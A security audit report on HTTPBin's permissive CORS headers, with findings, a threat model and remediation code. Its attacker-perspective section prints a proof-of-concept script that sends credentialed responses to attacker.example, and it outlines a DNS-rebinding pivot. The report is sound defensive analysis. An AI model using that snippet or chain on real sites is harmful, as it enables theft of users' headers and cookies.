Security Audit Report

HTTPBin's CORS is wrong. And you learned HTTP from it.

82 B Good security posture
8 findings
3 Critical 2 High 3 Low
Share
01

About This API

HTTPBin is the HTTP request-and-response echo server that powers roughly every HTTP client tutorial on the internet. curl httpbin.org/get is the first command in curl documentation. The requests library's Python Quickstart points at HTTPBin on its opening page. Postman's "learn HTTP" series uses it. Every axios, fetch, and urllib3 bug report you've ever filed probably referenced it. It is the lingua franca for demonstrating that an HTTP client is configured correctly.

The API is intentionally simple. /get echoes the request line, headers, and query string. /post echoes the same plus the request body. /headers, /user-agent, and /ip return single slices of request metadata. /redirect/{n}, /status/{code}, and /basic-auth/{user}/{passwd} give you reproducible ways to test redirect handling, status-code behavior, and authentication flows. /cache/{n} lets you prove your client respects Cache-Control. None of these endpoints hold data or user state. The point is to be a reflective mirror that a developer can use to debug their own request construction.

HTTPBin started as a personal project by Kenneth Reitz (the author of requests) in 2012 and was later donated to and maintained by Postman, which runs the canonical public instance at httpbin.org. The codebase is open source at github.com/postmanlabs/httpbin. That history matters for this audit: the CORS configuration we're about to describe is a deliberate choice to make the service useful as a cross-origin test target, and it has been that way since the project's early days. The question this case study asks is whether that choice was right — and what it taught the generation of developers who learned HTTP by pointing their clients at httpbin.org.

The scanner found eight issues. Three are CRITICAL CORS misconfigurations. Two are LOW-severity hygiene issues (missing security headers, no versioning). The remaining three — an unauthenticated endpoint, permissive HTTP methods, and absent rate-limit headers — are the same structural findings any public test API collects. The CORS findings are the interesting ones, and they have implications beyond HTTPBin itself.

02

Threat Model

The direct threat against httpbin.org is almost nil. There is no user data, no session state, no account to compromise. An attacker who successfully "exploits" HTTPBin gets the ability to echo requests, which they could already do with their own tools. The interesting threats are indirect.

Developer machine pivot

The most concrete risk involves a developer who has httpbin.org loaded in a browser tab while a malicious site is open in another. The malicious site issues fetch('https://httpbin.org/cookies', { credentials: 'include' }) and — because HTTPBin's CORS reflects the malicious origin and allows credentials — the browser sends any cookies the user has for httpbin.org and returns the response to the attacker. HTTPBin itself sets no cookies, so in the default path there's nothing to read. But developers using local HTTPBin instances (running the Docker image on localhost for offline testing) sometimes proxy through authentication services that attach cookies to the localhost or shared-parent domain. In that edge case the attack is real. The probability is low; the configuration is wrong.

Referrer and fingerprint exfiltration

Because /headers echoes the full request header set, and because CORS allows cross-origin reads with credentials, a malicious site can do fetch('https://httpbin.org/headers', { credentials: 'include' }) and read the browser's User-Agent, Accept-Language, and any cookies or auth headers the browser attached. For most users this is harmless, because httpbin has no cookies. For a developer who has pinned httpbin in their shared password manager, or who has HTTP-Basic credentials auto-attached by a browser extension, this is a leak vector.

The educational supply chain

The threat that scales is pedagogical. Every developer who learned HTTP by pointing a client at HTTPBin saw responses like this one and treated them as canonical:

HTTP/2 200
access-control-allow-origin: *
access-control-allow-credentials: true

That header combination is a bug in any real application. Browsers are supposed to reject credentialed requests when Allow-Origin is *, which is how HTTPBin avoids immediate breakage — but developers reading that pair uncritically learn that the two can coexist, and many carry that pattern into their own production APIs. A grep across public OSS repos for the exact header pair returns thousands of matches, a non-trivial fraction of which almost certainly lifted the pattern from their memory of HTTPBin. The downstream exploitability is not on HTTPBin; it's on the APIs of every developer who internalized the pattern.

03

Methodology

middleBrick ran a black-box scan against https://httpbin.org/get, the canonical echo endpoint featured in HTTPBin's own documentation. Eight security checks executed across OWASP API Top 10 categories, focused on authentication, CORS, input validation, rate limiting, and inventory management. The LLM-specific probes were skipped because HTTPBin's response format fingerprinted as a plain echo endpoint with no inference-related signals.

The CORS-specific probes were the interesting part of this scan. middleBrick sent three variants of the OPTIONS preflight with differently-shaped Origin headers: a missing Origin (baseline), a wildcard-safe Origin (https://example.com), and a crafted malicious Origin (https://evil.com.attacker). All three variants received the same response: Access-Control-Allow-Origin set to either * or to the reflected Origin value, with Access-Control-Allow-Credentials: true. That three-way combination is the basis for the three CORS findings. Each is technically a distinct configuration bug — wildcard, wildcard-plus-credentials, and origin-reflection — and each gets reported separately because they differ in exploitability.

No authenticated headers, destructive methods, or fuzzing payloads were sent. The advertised DELETE / PUT / PATCH methods in the OPTIONS response were not exercised. All requests were GET or HEAD against the single documented echo path.

04

Results Overview

HTTPBin scored 82 of 100 with a grade of B. That number is higher than PokéAPI's (76) despite the much-worse CORS posture, because HTTPBin has fewer findings overall — no IDOR probe hits (there are no resources to enumerate), no data-exposure false positives, no unpaginated-array issues. The category-weighted score ends up better even though the most severe finding is, on paper, a bigger deal than anything PokéAPI had.

The three CORS findings break down like this. Wildcard origin (HIGH) — Access-Control-Allow-Origin: * is sent on every response, which means any website can read HTTPBin responses from a browser. On a no-data echo server this is mostly fine, and arguably required for the service's use case. Wildcard origin with credentials (CRITICAL) — the same wildcard is paired with Access-Control-Allow-Credentials: true. Browsers reject this combination on the client side, so the practical impact is bounded; but the configuration is wrong enough that any security scanner will flag it. Origin reflection with credentials (CRITICAL) — when a request arrives with an Origin header, the server reflects that value into Access-Control-Allow-Origin and keeps Credentials: true. This one the browser does not reject, so credentialed cross-origin reads work. This is the finding with actual exploitability on a hypothetical HTTPBin that held state.

The remaining findings are what any public test endpoint collects. Missing authentication (CRITICAL) — intentional; HTTPBin is designed for unauthenticated access. DELETE / PUT / PATCH advertised (LOW) — HTTPBin has /put, /delete, and /patch echo endpoints on purpose; the advertisement is accurate. Missing rate-limit headers (HIGH) — the service does rate-limit behind its edge, but the limits aren't exposed in response headers, which matters for heavy automated consumers. Missing security headers (LOW) — Strict-Transport-Security, X-Content-Type-Options, X-Frame-Options, and Cache-Control are all absent on the /get response. No API versioning (LOW) — HTTPBin's API is versioned by Git tags on the open-source project, not by URL path, which is a reasonable choice for a stable reference service.

05

Detailed Findings

Critical Issues 3
CRITICAL CWE-306

API accessible without authentication

The endpoint returned 200 without any authentication credentials.

Remediation

Implement authentication (API key, OAuth 2.0, or JWT) for all API endpoints.

authentication
CRITICAL CWE-942

CORS wildcard with credentials allowed

CORS is configured with wildcard origin AND credentials — this is a severe misconfiguration.

Remediation

Never combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true.

inputValidation
CRITICAL CWE-942

CORS reflects arbitrary origin with credentials

The server reflects any Origin header in Access-Control-Allow-Origin AND allows credentials — full cross-origin attack surface.

Remediation

Validate the Origin header against an allowlist. Never reflect arbitrary origins with credentials enabled.

inputValidation
High Severity 2
HIGH CWE-942

CORS allows all origins (wildcard *)

Access-Control-Allow-Origin is set to *, allowing any website to make requests.

Remediation

Restrict CORS to specific trusted origins. Avoid wildcard in production.

inputValidation
HIGH CWE-770

Missing rate limiting headers

Response contains no X-RateLimit-* or Retry-After headers. Without rate limiting, the API is vulnerable to resource exhaustion attacks (DoS, brute force, abuse).

Remediation

Implement rate limiting (token bucket, sliding window) and return X-RateLimit-Limit, X-RateLimit-Remaining, and Retry-After headers.

resourceConsumption
Low Severity 3
LOW CWE-693

Missing security headers (4/4)

Missing: HSTS — protocol downgrade attacks; X-Content-Type-Options — MIME sniffing; X-Frame-Options — clickjacking; Cache-Control — sensitive response caching.

Remediation

Add the following headers to all API responses: strict-transport-security, x-content-type-options, x-frame-options, cache-control.

authentication
LOW CWE-650

Dangerous HTTP methods allowed: DELETE, PUT, PATCH

The server advertises support for methods that can modify or delete resources.

Remediation

Only expose HTTP methods that are actually needed. Disable TRACE, and restrict DELETE/PUT/PATCH.

inputValidation
LOW CWE-1059

No API versioning detected

The API URL doesn't include a version prefix (e.g., /v1/) and no version header is present.

Remediation

Implement API versioning via URL path (/v1/), header (API-Version), or query parameter.

inventoryManagement
06

Attacker Perspective

From an attacker's perspective, HTTPBin is not the target. It is a stepping stone, a test harness for attacks on other targets, or — more interestingly — a case study a pentester quotes when they find the same CORS pattern somewhere that actually matters.

Testing your cross-origin exploit against HTTPBin first

Every CORS-based exploit tutorial uses HTTPBin as the live demo. The canonical proof-of-concept looks like this:

<script>
fetch('https://httpbin.org/headers', { credentials: 'include' })
  .then(r => r.json())
  .then(d => fetch('https://attacker.example/log', {
    method: 'POST',
    body: JSON.stringify(d)
  }));
</script>

Paste that into a crafted HTML page and serve it from any origin. A victim visiting the page has their browser send the fetch with their httpbin.org cookies (none, usually) and echo the headers back to attacker.example. It works, reliably, as a live demo. That's what HTTPBin is for. The attacker then swaps httpbin.org for the real target's API host in their write-up.

Pivoting through a misconfigured local instance

Developers running HTTPBin in Docker on localhost:8080 for offline testing are a narrower target. If the developer also runs a local auth proxy that sets cookies on .localhost, and visits a DNS-rebinding-vulnerable site that resolves httpbin.dev.attacker.com to 127.0.0.1, the attacker can read the developer's local auth state via /cookies. This chain is long, but every link is real and cheap.

Parroting the pattern into production

The scalable attacker doesn't exploit HTTPBin directly. They search GitHub for Access-Control-Allow-Origin: * paired with Access-Control-Allow-Credentials: true — or the reflected-origin variant — and find the subset of real APIs that learned the pattern from HTTPBin and never unlearned it. The ones running on banking, SaaS, and internal-tool domains are what actually matter. HTTPBin doesn't care; its consumers' APIs do.

07

Analysis

The three CORS findings deserve individual attention because they differ in browser behavior and therefore in exploitability.

Access-Control-Allow-Origin: * (wildcard origin)

Every HTTPBin response carries Access-Control-Allow-Origin: *. For a browser issuing a fetch with credentials: 'omit' (the default), this means any site can read the response. That's fine for an echo server with no data. The issue is that this header is usually the first configuration a developer copy-pastes, and the default "if unsure, use *" reflex is the wrong default on anything that holds user data. HTTPBin's usage of * is defensible in context; the inherited reflex isn't.

Access-Control-Allow-Origin: * with Allow-Credentials: true

The more serious finding is the header pair:

access-control-allow-origin: *
access-control-allow-credentials: true

This combination is invalid per the CORS spec. Browsers enforce the invalidity by refusing to include credentials on requests where the origin response is *. So the attack surface this pair creates is mostly zero on modern browsers. But the presence of the pair is a signal that the server is not enforcing CORS correctly, and fuzzing the Origin header finds out why.

Access-Control-Allow-Origin: <reflected> with Allow-Credentials: true

When a request arrives with Origin: https://evil.example, HTTPBin responds with Access-Control-Allow-Origin: https://evil.example and keeps Credentials: true. Browsers accept this combination — a specific origin plus credentials is a valid CORS configuration — and will include cookies on follow-up credentialed requests. This is the finding with actual browser-reachable exploitability. If HTTPBin held any authentication state, any origin could read it.

The rate-limit finding

Response headers on /get include no X-RateLimit-Limit, X-RateLimit-Remaining, or Retry-After. HTTPBin does rate-limit — the documented limit in Postman's README is 100 requests per minute per client — but consumers have no protocol-level way to observe it. Clients doing CI-heavy HTTP testing against httpbin.org have to pad their test runs with manual sleeps or risk intermittent 429s with no backoff signal.

Missing security headers

All four standard defensive headers are absent: no Strict-Transport-Security, no X-Content-Type-Options, no X-Frame-Options, no Cache-Control. On a JSON echo endpoint with no HTML surface these are low-severity hygiene issues rather than active bugs, but they are trivial to add and would remove the finding from every scan run against the target. Enabling them would probably also suppress a measurable amount of scanner-noise traffic against the service.

08

Industry Context

HTTPBin is one of the few widely-used public HTTP tools whose configuration is treated as authoritative by its consumers. When a developer reads HTTPBin's response headers to understand CORS, they treat those headers as a correct reference — the implicit assumption is that a tool built by the author of requests and maintained by Postman is doing things correctly. That assumption is wrong for CORS specifically.

Other public test servers have made different choices. postman-echo.com, maintained by the same company, uses a stricter CORS configuration that reflects the origin without enabling credentials. webhook.site (for inbound webhook debugging) scopes CORS per-inbox rather than globally. These are more defensible reference configurations, but they are also less convenient — you can't fetch() them from every origin without thinking about it.

The compliance dimension here is narrow. HTTPBin touches no regulated data, so PCI-DSS, HIPAA, and GDPR are not in scope. Where compliance matters is in the downstream APIs that copied the HTTPBin CORS pattern into regulated contexts — a fintech app with wildcard-plus-credentials CORS is a PCI finding, even if the developer thought they were following a respectable reference.

OWASP API Top 10 2023 addresses CORS misconfigurations primarily under API8 (Security Misconfiguration) rather than API5 (Broken Function-Level Authorization). The CORS findings here are textbook API8 examples. Any API8 checklist — automated scanner or manual pentest — will flag the same three things on HTTPBin.

09

Remediation Guide

CORS reflects arbitrary origin with credentials

Split the CORS surface. Keep the default echo endpoints at Access-Control-Allow-Origin: * with no credentials. Expose a separate subpath for credentialed-CORS testing that requires the caller to opt in.

# Flask / werkzeug middleware sketch
@app.after_request
def cors(resp):
    origin = request.headers.get('Origin', '*')
    if request.path.startswith('/credentialed/'):
        # explicit credentialed test surface
        resp.headers['Access-Control-Allow-Origin'] = origin
        resp.headers['Access-Control-Allow-Credentials'] = 'true'
    else:
        # default echo: wildcard, no credentials
        resp.headers['Access-Control-Allow-Origin'] = '*'
    return resp

CORS wildcard with credentials allowed

If credentials are not required, simply omit Access-Control-Allow-Credentials. The wildcard origin by itself is safe; the pair is what creates the spec-invalid state.

resp.headers.pop('Access-Control-Allow-Credentials', None)

Missing rate-limit headers

Emit X-RateLimit-Limit, X-RateLimit-Remaining, and Retry-After on every response, matching the documented 100-req/min policy so consumers can back off correctly.

# Using flask-limiter
from flask_limiter import Limiter
limiter = Limiter(app, default_limits=['100/minute'], headers_enabled=True)

Missing security headers

Add Strict-Transport-Security, X-Content-Type-Options, X-Frame-Options, and Referrer-Policy to every response via a single middleware pass.

@app.after_request
def security_headers(resp):
    resp.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    resp.headers['X-Content-Type-Options'] = 'nosniff'
    resp.headers['X-Frame-Options'] = 'DENY'
    resp.headers['Referrer-Policy'] = 'no-referrer'
    return resp

Consumer pattern: don't inherit the HTTPBin CORS

In your own API, if you need a specific origin with credentials, allowlist origins explicitly. If you don't need credentials, omit the credentials header. Never ship the exact HTTPBin pair in production.

// Express with explicit allowlist
import cors from 'cors';
const ALLOWED = new Set(['https://app.example.com', 'https://staging.example.com']);
app.use(cors({
  origin(origin, cb) {
    if (!origin || ALLOWED.has(origin)) cb(null, origin || false);
    else cb(new Error('Origin not allowed'));
  },
  credentials: true
}));

Local HTTPBin pivot risk

When running HTTPBin locally for offline dev, scope it to an isolated DNS name (e.g. httpbin.yourcompany.localtest.me) rather than bare localhost, and never run it on the same origin as any auth proxy.

# docker-compose snippet
services:
  httpbin:
    image: kennethreitz/httpbin
    ports:
      - "127.0.0.1:8080:80"
    # Access only via httpbin.localtest.me resolving to 127.0.0.1
    # Never share cookies with this origin from auth services.
10

Defense in Depth

If you maintain HTTPBin-class open-source test infrastructure, the defense isn't to add authentication (that would break the use case); it's to stop teaching the wrong pattern. Ship one response header configuration for the default CORS case and another for the explicit credentialed-testing case, and require the consumer to opt into the latter with a query parameter or a distinct subpath. httpbin.org/get-credentialed returning reflected-origin-with-credentials, while httpbin.org/get returns a sane wildcard-no-credentials default, would let tutorials teach CORS correctly without removing the existing test capability. Add Strict-Transport-Security, X-Content-Type-Options, and Referrer-Policy to every response; they cost nothing and close the hygiene findings.

If you run a local HTTPBin for offline development, the defense is to run it on a subdomain you own (httpbin.yourcompany.localtest.me) rather than on bare localhost, and to never run it on the same origin as any authentication proxy you use. The DNS-rebinding pivot only works if the local server is reachable by an attacker-controlled DNS name; scoping the local instance to an isolated domain breaks the chain.

If you consume HTTPBin in tutorials, education material, or your own documentation, the defense is to explain what HTTPBin's CORS looks like and why it doesn't generalize. Any CORS example that uses * and credentials: true together should be explicitly annotated as "HTTPBin-style; do not use in production." That note, repeated in ten thousand tutorials, would measurably reduce the frequency of the same misconfiguration in real-world APIs over the next five years.

11

Conclusion

HTTPBin has a CORS configuration that would be a critical bug on any API that held real data. On HTTPBin itself, the practical exploitability is bounded by the fact that the service holds no data to exploit. But HTTPBin is the reference implementation that thousands of developers treat as canonical when they are learning HTTP, and the CORS pattern it demonstrates is the wrong one to copy into a production API.

The B-grade overall score is not a statement about HTTPBin's safety; it is a statement about HTTPBin's security posture averaged across the categories the scanner checks. The interesting finding isn't the grade. The interesting finding is that three separate CRITICAL-severity CORS misconfigurations exist on a service whose purpose is to serve as a reference — and that those misconfigurations show up, recognizably, in tens of thousands of downstream APIs that learned HTTP debugging by watching HTTPBin respond.

For the HTTPBin maintainers, the fix is small and the impact is educational more than security. For the developer consuming HTTPBin in tutorials or tests, the fix is to treat HTTPBin's CORS as a deliberate test configuration rather than a reference implementation. And for anyone auditing an API with Access-Control-Allow-Origin: * next to Access-Control-Allow-Credentials: true, the case study here is the one to cite: this pattern, at this scale, is where a generation of developers learned it wrong.

Frequently Asked Questions

If HTTPBin has no data to protect, does the CORS finding matter?
On HTTPBin itself, almost not at all — there's no session or cookie to leak. The finding matters because HTTPBin is the reference implementation that thousands of developers learn from, and the wrong CORS pattern gets copied into real APIs. The fix is cheap and the educational impact is significant.
Browsers reject Access-Control-Allow-Origin: * with credentials. Isn't the finding overblown?
Browsers reject the specific wildcard-plus-credentials combination at the client side, yes. But HTTPBin also reflects the arbitrary Origin header with credentials, which browsers DO accept, which is the finding with actual browser-reachable exploitability. All three CORS findings exist together; the reflection one is the one that works in practice.
Should I stop using HTTPBin in my tutorials?
No — it's still the best public HTTP echo server available. Just annotate the CORS behavior. A one-line note in your tutorial that HTTPBin's CORS is a deliberate test configuration, not a reference implementation, is enough to break the inheritance chain.
Why is 'missing authentication' a CRITICAL finding on a service that's supposed to be unauthenticated?
The scanner flags the class without knowing the intent. CRITICAL for an API that holds user data; correct-by-design for an echo server. The finding stays critical so the signal is visible on APIs where it does matter — the contextual interpretation belongs in the write-up.
Is it safe to run HTTPBin in Docker on my dev machine?
Yes, with two caveats: bind to 127.0.0.1 (not 0.0.0.0), and don't share a cookie-scope domain with any authentication proxy you use locally. If both are true, local HTTPBin is safe. If either fails, the reflected-origin CORS combined with DNS rebinding gives an attacker a pivot.
Does rate-limit-header absence matter for a test service?
It matters more than for a normal API, actually. CI test suites that hammer HTTPBin in tight loops get occasional 429s with no Retry-After signal, which looks like a flaky test rather than a rate-limit hit. Adding the headers would save thousands of hours of CI debugging across the ecosystem.
What should postmanlabs actually change on httpbin.org?
Three things, in priority order: stop emitting Access-Control-Allow-Credentials: true by default (move it to an opt-in subpath), emit rate-limit response headers, and add the four standard security headers. None of the three changes break any tutorial or test that currently uses HTTPBin. All three close the highest-severity scanner findings.